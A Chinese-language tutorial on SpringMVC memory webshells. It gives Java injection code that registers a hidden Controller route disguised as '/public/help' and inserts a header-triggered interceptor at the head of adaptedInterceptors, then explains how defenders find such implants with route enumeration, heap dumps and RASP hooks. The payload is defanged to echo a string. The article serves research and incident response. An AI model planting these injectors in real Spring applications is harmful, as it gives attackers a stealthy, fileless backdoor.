尧图精选

SpringMVC内存马:Controller与Interceptor原理与排查

🕒 发布时间:2026/10/2 15:00:57 📁 来源:尧图网络
搞过几年Java安全的人对“内存马”这三个字一定特别敏感。它不像早年的JSP一句话木马喜欢在磁盘上落一个文件而是直接钻进JVM堆里变成SpringMVC体系下的一个Controller或变成Interceptor拦截链上的一个节点进程不重启它就不消失。这篇文章不打算讲那些已经烂大街的Servlet型内存马而是专门拆SpringMVC框架下的Controller型与Interceptor型内存马从哪里入手、怎么手搓核心代码、有哪些坑以及蓝队该怎么在运行态里定位它们。适合做Java开发、安全研究、应急响应的朋友阅读哪怕你只熟悉SpringMVC的请求流程也能跟着一步步把原理吃透。1. 内存马技术概览为什么说它是“无文件落地”的利器1.1 从一句话木马到内存马攻击者为什么不再依赖文件落地以前拿下了一台服务器最习惯的动作就是往web目录扔一个jsp或php脚本连接上、执行命令、再想办法开后门。这种玩法在最早期确实好用因为防守端主要靠文件系统监控和WebShell扫描器来找东西文件一落地就会被扫描到。但随着WAF、EDR、HIDS这些产品慢慢普及文件落地成了一件非常危险的事写入动作被记录、木马文件被特征扫描、webshell管理工具的流量被识别基本等于告诉对方“我来了”。攻击者很快发现与其背着文件暴露行踪不如把恶意代码直接加载到Java进程里像水渗进海绵一样让代码成为运行态的一部分。这就是内存马的核心动机。内存马的技术本质是“运行时篡改”不需要向磁盘写任何文件。攻击者通过某个RCE入口拿到JVM内部的代码执行能力后可以动态加载恶意字节码再把字节码实例化注册到Tomcat、SpringMVC这类框架已经运行起来的对象体系里。磁盘上找不到新增文件目录巡检自然失效进程在内存马就在进程重启内存马跟JVM一起消失连清理都省了。对防守方来说这种“查不到文件、清不干净实例”的特性正是内存马讨人厌的地方。又因为互联网应用大量使用SpringBoot和SpringMVC所以围绕Spring容器做文章的内存马已经成为攻防演练中最常见的后门形态之一。1.2 常见内存马分类Controller和Interceptor为什么是SpringMVC重灾区内存马不是一个细到单点的技术而是一族“挂在容器组件上”的后门。按注册位置大致可以分这么几类类型注册位置优势不足Servlet型Tomcat内部Context生命周期长任意路径匹配需要直接操作Tomcat内部对象Filter型Tomcat或Servlet容器Filter链过滤所有请求链路靠前暴露面大容易在排查中被发现Listener型ServletContext事件监听器事件触发时生效隐蔽触发条件不固定Controller型Spring RequestMappingHandlerMapping注册新路由调用灵活需要先拿到Spring容器BeanInterceptor型AbstractHandlerMapping.adaptedInterceptors与SpringMVC请求链深度融合仅适用于SpringMVC场景在SpringBoot和SpringMVC的项目里Controller型和Interceptor型尤其常见。前者的好处是Spring本身就开放了一个可以动态注册路径和Handler的接口攻击者只要有办法执行一段反射代码就能在自己的恶意类上绑一个URL比如“/static/help”这类看起来人畜无害的路径。后者就更隐蔽了它不新建路由而是把自己挂进拦截器列表任何经过SpringMVC的请求都会先经过它等于在请求入口的位置做了一层“透明开关”。我见过不少蓝队朋友只知道查Filter却忽略了AbstractHandlerMapping里的那个adaptedInterceptors字段结果内存马明明就在眼前却怎么都扫不出来。1.3 先打通底层类加载、双亲委派与反射篡改要手搓内存马先要搞清楚三段底层知识。第一是类加载JVM不会凭空认识一个Class字节码必须经过ClassLoader.defineClass方法变成Class对象再通过newInstance或者反射创建实例。内存马的本质就是往这个流程里塞了一段本来不该出现的字节码。第二是双亲委派机制Java的类加载器会先把加载请求交给父类加载器父类找不到才自己加载。这个机制平时很安全但到了动态注入场景就有点碍事所以许多内存马工具会用当前线程上下文类加载器Thread.currentThread().getContextClassLoader()作为父加载器确保恶意类能访问到Spring、Tomcat里的公共依赖类。第三是反射篡改Spring容器内部充斥着私有字段、受保护方法从规范上不该直接动但反射加上setAccessible(true)之后修改一个单例Bean的内部字段并没有想象中那么难。把这三段知识连起来再看内存马思路就清楚了先通过某种漏洞入口拿到JVM内的代码执行能力然后写一个自定义类加载器加载恶意字节码再通过Spring容器的getBean找到RequestMappingHandlerMapping或AbstractHandlerMapping这些核心对象最后用反射把恶意实例挂到已有或新的映射上。整个过程没有一个文件依赖的全部是Java自带的反射和容器能力。这也是为什么内存马的排查要比文件型WebShell更依赖运行态信息不能只靠目录扫描和杀毒引擎。2. SpringMVC组件解析Controller与Interceptor的注册逻辑2.1 Controller的注册流程从URL到Method的映射规则SpringMVC的完整请求链路一般可以简化成DispatcherServlet拿到HTTP请求后遍历所有HandlerMapping来寻找能处理这个URL的Handler找到HandlerExecutionChain之后再由HandlerAdapter去真正调用Controller方法。这里面的核心枢纽是RequestMappingHandlerMapping它内部维护了一张映射表把URL路径和HandlerMethod关联起来。平时我们写一个类标上Controller在方法上标RequestMapping(/hello)其实最终都会被Spring解析成一个RequestMappingInfo再交给RequestMappingHandlerMapping保存。漏洞点在于Spring并不只是后台偷偷调用注册逻辑它还对外暴露了一个公开方法handlerMapping.registerMapping(RequestMappingInfo info, Object handler, Method method)这是一个为扩展而设计的方法但同样可以被攻击者利用。也就是说攻击者完全不需要写Controller注解的类不需要走Spring扫描流程只要有一个普通对象、一个普通方法就能通过registerMapping把它注册成某个URL的处理器。方法名看起来只是注册了一个路由实际上就是给内存马开了一扇门。动态注册的路径和业务路径混在一起从配置文件和注解扫描结果里根本看不出异常因为配置层根本没有这个路由的痕迹。2.2 Interceptor的拦截链adaptedInterceptors字段和preHandle时机如果说Controller型内存马是“新增了一个入口”那么Interceptor型内存马更像是“在公共通道上多装了一个闸机”。SpringMVC的拦截器存放在AbstractHandlerMapping里核心是两个字段interceptors和adaptedInterceptors。interceptors是开发者配置的原始拦截器对象初始化时Spring会把它们包装成“可适配的拦截器”放进adaptedInterceptors这个List。每次获取Handler时Spring都会基于这些adaptedInterceptors构建HandlerExecutionChain。所以如果攻击者能在运行时向adaptedInterceptors列表里塞一个自定义的HandlerInterceptor对象就等于给所有经过当前HandlerMapping的请求加上了一道额外的关卡。拦截器接口最关键的钩子是preHandle方法它在Controller方法执行前被调用返回true继续后续处理返回false则直接中断请求。内存马经常在preHandle里检查一个自定义Header比如X-Mem-Checker命中后自己写好响应并返回false这样请求根本不会进入业务Controller从外部看就像多了一个隐藏接口。这里还有一层优先级逻辑多个拦截器按列表顺序执行preHandle所以注入时应把恶意拦截器放到adaptedInterceptors的最前面。如果塞到末尾某些业务拦截器可能已经做了认证校验恶意逻辑就失去了先手优势。虽然大多数实际利用中攻击者不一定每次都要求最优位置但“先到先得”这条规则是真的理解它才能解释为什么注入代码里要用add(0, evilInterceptor)。2.3 SpringMVC为什么容易被内存马盯上抛开技术细节单从工程结构来看SpringMVC对内存马实在太友好了。第一Spring容器本身就是一个对象池几乎所有核心组件都以单例Bean的形式存在只要拿到容器引用用getBean就能精确获取目标对象不用瞎猜。第二Spring内部设计大量依赖反射和动态代理运行时的“灵活性”是框架卖点但这份灵活也给恶意篡改提供了可乘之机。第三SpringBoot在互联网服务中占比太高又大多是独立Java进程攻击者只要找到一个反序列化、表达式注入或日志组件漏洞几乎不需要适配太多环境就能复用同一套Spring内存马注入代码。更麻烦的是框架允许动态注册的特性让它很难从代码层面区分“正规动态路由”和“恶意动态路由”。企业自行开发插件、动态接口、灰度逻辑时也会调用类似registerMapping或动态配置拦截器的手段。所以蓝队在排查时不能只做“有没有额外注册”这种粗粒度判断还得结合类加载器来源、触发特征和调用链做细粒度分析。这也是为什么后面所有的排查技巧都在强调“看运行态对象本身”而不是只看日志和配置文件。3. 手搓代码从0到1实现SpringMVC内存马3.1 实验环境准备Spring Boot最小工程与依赖不建议一上来就在生产环境里试最好本地起一个最小SpringBoot项目把整个流程完整跑通。我用的是JDK8、Maven 3.8、Spring Boot 2.7理论上JDK11也能兼容但JDK17需要额外处理模块访问限制。pom.xml里核心依赖只有两个dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-test/artifactId scopetest/scope /dependency启动类不用花哨一个注解加一个main方法就够SpringBootApplication public class MemShellDemoApplication { public static void main(String[] args) { SpringApplication.run(MemShellDemoApplication.class, args); } }为了保证后面能拿到上下文我习惯在项目里随便写一个最简单的接口比如/ping用来确认服务能访问。但这个接口本身不是必须的因为后面我们注入的都是独立路径。需要注意实验环境里的内存马只要重启进程就会消失不会对系统造成持久化影响但依旧建议在隔离的虚拟机或本地环境操作不要拿公司测试环境练手免得被网络扫描或安全监控抓到惹出不必要的麻烦。3.2 获取Spring容器和动态类加载的通用套路内存马注入的第一道工序是拿到当前处理请求的WebApplicationContext。实际利用时攻击者往往已经能执行任意代码或反序列化调用方法所以最常见的做法是通过当前请求获取而不是去依赖某个Bean注入。核心代码可以这样写public static WebApplicationContext getCurrentContext() { ServletRequestAttributes attrs (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); if (attrs null) { return null; } HttpServletRequest request attrs.getRequest(); return RequestContextUtils.findWebApplicationContext(request); }为什么用RequestContextUtils.findWebApplicationContext(request)而不是WebApplicationContextUtils.getWebApplicationContext(servletContext)因为后者通常拿到的是根上下文而在传统的SSM项目里DispatcherServlet会创建一个子容器RequestMappingHandlerMapping很可能存放在子容器里。RequestContextUtils.findWebApplicationContext会从当前请求的属性中直接取出DispatcherServlet使用的WebApplicationContext这样能避开父子容器拿错对象的问题也是我踩过坑之后才固定下来的写法。拿到context之后下一步就是动态加载恶意核心类。这里不能假设恶意类已经被编译进项目真实场景中往往需要从一个文件、一段Base64或一次网络请求中获取字节码。所以要先准备一个最简单的自定义类加载器public class ByteClassLoader extends ClassLoader { public ByteClassLoader(ClassLoader parent) { super(parent); } public Class? defineClass(byte[] bytes) { return super.defineClass(null, bytes, 0, bytes.length); } }加载时把线程上下文类加载器作为parent传进来能保证恶意类可以引用Spring、Servlet容器中的类不会因为双亲委派机制找不到依赖而报NoClassDefFoundError。实验演示时可以把编译好的恶意类字节码转成byte数组或者用反射直接实例化一个内部类重点是整个流程要让人看明白动态加载、实例化、注册三步走。3.3 Controller型内存马手写代码registerMapping动态注册现在看Controller型内存马的核心代码。为了方便理解我这里不用注解暴露“命令执行”功能只做一个带Header校验的触发回显让代码既能说明原理又避免直接变成一份可以使用的高危Payload。首先是一个普通类不继承任何Spring基类也不加任何Spring注解import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; public class EvilController { ResponseBody public String execute(HttpServletRequest request) { if (1.equals(request.getHeader(X-Mem-Checker))) { return controller memshell ok; } return forbidden; } }注意ResponseBody必须加在方法上否则返回的String会被Spring当成视图名称去解析最终可能抛出一个不存在的视图异常。我一开始就是漏了这个注解导致注册成功但访问报错所以这一点非常适合放进“坑位清单”。然后是注入逻辑import org.springframework.context.ApplicationContext; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Method; public class ControllerMemShellInjector { public static void inject(ApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); EvilController evilController new EvilController(); Method method EvilController.class.getMethod(execute, HttpServletRequest.class); RequestMappingInfo info RequestMappingInfo.paths(/public/help) .build(); handlerMapping.registerMapping(info, evilController, method); } }注册路径推荐用/public/help这类看起来像静态资源的地址降低被人工巡检发现的概率。registerMapping的普适性在于它不在乎EvilController是不是Spring管理的Bean只要对象存在、方法能反射获取它就能完成绑定。方法调用后访问/public/help并携带X-Mem-Checker: 1浏览器或curl就能看到“controller memshell ok”的输出。如果需要在同一个映射上反复测试或者路径已经有别的业务使用可以先调用handlerMapping.unregisterMapping(info)再重新registerMapping。但更稳妥的做法是选一个绝对不会有冲突的随机路径不要在生产环境做这种覆盖测试。真实场景里攻击者会在execute方法中加入系统命令执行或内存Shell逻辑但核心注册过程完全一样因为真正决定内存马能不能生效的就是这一步动态注册。3.4 Interceptor型内存马手写代码反射修改adaptedInterceptorsInterceptor型内存马不需要新增路由而是把恶意拦截器塞进公共请求链路。核心代码分成两部分先是恶意拦截器本体import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class EvilInterceptor implements HandlerInterceptor { Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (1.equals(request.getHeader(X-Mem-Checker))) { response.setContentType(text/plain;charsetUTF-8); response.getWriter().println(interceptor memshell ok); return false; } return true; } }接着是注入逻辑。要改的就是AbstractHandlerMapping里的adaptedInterceptors字段反射获取后把恶意拦截器加到索引0的位置import org.springframework.context.ApplicationContext; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; import java.util.List; public class InterceptorMemShellInjector { public static void inject(ApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); Field field AbstractHandlerMapping.class.getDeclaredField(adaptedInterceptors); field.setAccessible(true); ListObject adaptedInterceptors (ListObject) field.get(handlerMapping); HandlerInterceptor evilInterceptor new EvilInterceptor(); adaptedInterceptors.add(0, evilInterceptor); } }这里有个细节值得多说一句如果你把Interceptor添加到adaptedInterceptors末尾遇到Spring Security这类框架时会很尴尬因为安全过滤链可能已经提前拦住了请求你的preHandle根本没有机会执行。塞到最前面可以保证当前HandlerMapping构建的HandlerExecutionChain会先走到恶意拦截器命中Header后直接return false后续全部短路。从实际效果看这种Interceptor型内存马比Controller型更难发现因为它不占独立路由所有业务路径都可能是触发路径访问日志里看起来只是一个正常URL加了一个不常见Header特征很淡。收到请求后访问任意一个能被SpringMVC处理的方法比如刚才的/hello带上X-Mem-Checker: 1就能在响应里看到“interceptor memshell ok”。如果Header不存在请求则会被放行像一个正常功能一样继续走。这种“默认放行、特定条件触发”的模式也是内存马隐蔽性的重要来源。4. 实战经验常见问题、排查技巧与防护建议4.1 注入失败排查容器父子关系、字段可见性与类加载器自己动手复现时如果发现内存在代码里注册成功但访问不生效不要急着怀疑“被WAF拦了”先按下面的顺序一项项查。第一是否拿错了容器。前面反复强调过父子容器问题。WebApplicationContextUtils.getWebApplicationContext(servletContext)拿到的是根上下文如果项目里同时存在Root和DispatcherServlet子容器而RequestMappingHandlerMapping被子容器持有你往根容器里找Bean自然是一场空。建议统一使用RequestContextUtils.findWebApplicationContext(request)并打印一下返回的context和Bean的类型确认拿到的不是Null。第二是否命中错了HandlerMapping。SpringMVC可能注册多个HandlerMapping不一定只有一个RequestMappingHandlerMapping。如果你的项目同时用了BeanNameUrlHandlerMapping而请求路径恰好走了另一个HandlerMapping注入的对象不会被调用。排查时可以遍历handlerMapping.getHandlerMethods()看看注册的路径是否真的在里面。第三反射字段是否失败。个别JDK版本或Spring版本里adaptedInterceptors这个List是Collections.unmodifiableList包装过的直接add会抛UnsupportedOperationException。遇到这种情况你需要先创建一个新的ArrayList并拷贝原列表再通过反射把字段值替换掉。第四类加载器是否隔离。恶意类如果由独立的ByteClassLoader加载而父类加载器没有包含Spring依赖会出现奇怪的NoClassDefFoundError或ClassCastException尤其在handlerMapping.registerMapping这种大量依赖接口类型的地方。4.2 蓝队自查三板斧路由、拦截器、JVM堆作为防守方我不建议临时写一堆工具在线上去探测内存马那样很可能惊动攻击者等于打草惊蛇。更稳妥的方式是借现有JDK能力做离线或低侵入的检测。第一板斧是查路由定点访问Spring注册表。通过控制器或JMX拿到RequestMappingHandlerMapping后遍历getHandlerMethods()把每个URL对应的handler类名、方法名、类加载器全部打印出来。业务正常的Controller通常来自项目的类加载器且类名规规矩矩而内存马可能来自一个很有迷惑性的工具类加载器或者类名跟当前项目毫无关系。第二板斧是查拦截器反射读取AbstractHandlerMapping.adaptedInterceptors字段打印列表里每个对象的真实类名和ClassLoader来源。只要发现列表里多了一个不是业务配置的HandlerInterceptor实现基本可以确定有问题。第三板斧就是查JVM堆对线上运行实例执行heapdump然后用Eclipse MAT或JProfiler打开快照用OQL搜索HandlerMethod、adaptedInterceptors、ClassLoader等关键词定位到具体对象的引用链快速判断它由谁创建、挂在哪个容器组件上。为了更直观我把排查动作整理成了一张常见手段表排查手段关注点适用场景遍历getHandlerMethods异常路由、异常Handler类注册表泄漏式自查反射读取adaptedInterceptors多余的自定义拦截器拦截器挂马排查Arthas classloader命令自定义类加载器、加载了哪些Class线上快速筛选jmap -histo可疑类实例数量长时间运行实例分析heapdump OQL对象引用链与类来源取证和深度定位Java Agent HookdefineClass、registerMapping实时防御与阻断4.3 从源头加固堵住注入入口与运行态监控内存马再怎么绕也绕不过“先拿到JVM内代码执行能力”这个前提。所以防护的第一优先级永远是堵住入口。反序列化漏洞、表达式注入、Fastjson、Log4j2、Shiro等曾经的经典入口都必须严格落实版本升级和补丁修复。其次是给运行态加上监控RASP是一种比较有效的手段在ClassLoader.defineClass、RequestMappingHandlerMapping.registerMapping、AbstractHandlerMapping字段写入等关键位置挂上Java Agent对“非预期类加载”和“非配置期组件变更”直接告警。这样即使攻击者拿到了代码执行能力想往Spring容器里挂组件也会立刻触发警报。许多中大型企业已经在用RASP做线上业务防护效果比单纯堆日志和EDR要直接得多。再补充两个更接地气的习惯。一个是在Java进程启动脚本里加上GC和堆dump配置比如-XX:HeapDumpOnOutOfMemoryError -XX:HeapDumpPath/data/dump/这样一旦出现异常或内存马线索手里至少有一份堆快照可供分析。另一个是记录访问日志中的异常Header和异常URL内存马触发时多半要靠自定义Header来“激活”如果WAF规则里能对带X-Mem-Checker这类不常见Header的请求进行单独审计防守的主动性会大大提高。有人可能会说“定期重启就能清掉内存马”这话只说对了一半。重启确实会让当前实例里的内存马失效但攻击者只要还保留着入口就还能下一次再注入。所以“重启清马”只能作为临时手段真正要做的是把入口和运行态监控一起管住。最后我还是想多说一句自己的体会内存马技术听起来玄乎本质就是“运行时篡改Java对象状态”把类加载、SpringMVC组件注册和反射这三样基本功吃透攻防双方其实站在同一套知识体系里。蓝队朋友与其到处找各种检测工具不如自己搭个本地工程把Controller型和Interceptor型内存马都亲手注入一遍再自己尝试通过遍历HandlerMapping、看ClassLoader识别它们。踩过一次坑以后你对这个技术的理解会比读十篇分析文章都深。
上一篇/下一篇内容由系统自动关联 返回资讯列表 →